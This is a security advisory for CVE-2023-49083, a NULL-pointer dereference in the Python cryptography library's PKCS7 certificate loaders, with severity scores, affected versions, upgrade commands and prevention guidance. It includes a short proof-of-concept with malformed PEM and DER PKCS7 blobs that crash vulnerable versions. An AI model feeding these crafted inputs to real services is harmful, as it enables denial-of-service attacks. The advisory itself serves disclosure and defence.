GHSA-jfhm-5ghh-2f97 CVE-2023-49083 PYSEC-2023-254

cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

High PyPI

Severity: 5.9 / 10; High · CVSS 3.1
Exploit chance (EPSS): 0.98%; Chance of exploitation in the next 30 days. Higher than 62.36% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-476 NULL Pointer Dereference
Fix: 41.0.6; Upgrade cryptography to this version or later

Description

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.

PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

Affected versions

PyPI

Package	Vulnerable	Fixed in
cryptography	`>= 3.1, < 41.0.6`	`41.0.6`
cryptography	`>= 3.1, < 41.0.6`	`41.0.6`
cryptography	`>= 3.1, < 41.0.6`	`41.0.6`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

cryptography PyPI → `41.0.6`

pip

pip install --upgrade "cryptography>=41.0.6"

poetry

poetry add "cryptography>=41.0.6"

uv

uv add "cryptography>=41.0.6"

Severity breakdown

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector: Network
Attack complexity: High
Privileges required: None
User interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Weakness

CWE-476: NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL.

How to prevent it

Implementation: For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished [REF-1484].
Requirements: Select a programming language that is not susceptible to these issues.
Implementation: Check the results of all functions that return a value and verify that the value is non-null before acting upon it.
Architecture and Design: Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.
Implementation: Explicitly initialize all variables and other data stores, either during declaration or just before the first usage.

References

Advisories

Fixes and patches

Packages

github.com/pyca/cryptography

Timeline

Nov 28, 2023 Published
Sep 10, 2026 Last updated by the source
Nov 1, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-m2h6-j472-rp4c python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees	Medium	Also affects cryptography
GHSA-jwv3-5hgf-82ww python-cryptography: Duplicate self-signed intermediates can cause exponential path-building	High	Also affects cryptography
GHSA-g6cj-pr64-35w5 cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing	High	Also affects cryptography
GHSA-537c-gmf6-5ccf Vulnerable OpenSSL included in cryptography wheels	High	Also affects cryptography
GHSA-p423-j2cm-9vmq Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs	Medium	Also affects cryptography
GHSA-m959-cc7f-wv43 cryptography has incomplete DNS name constraint enforcement on peer names	Low	Also affects cryptography
GHSA-r6ph-v2qm-q3c2 cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves	High	Also affects cryptography
GHSA-79v4-65xg-pq4g Vulnerable OpenSSL included in cryptography wheels	Medium	Also affects cryptography

Credits: becojo, pkuzco

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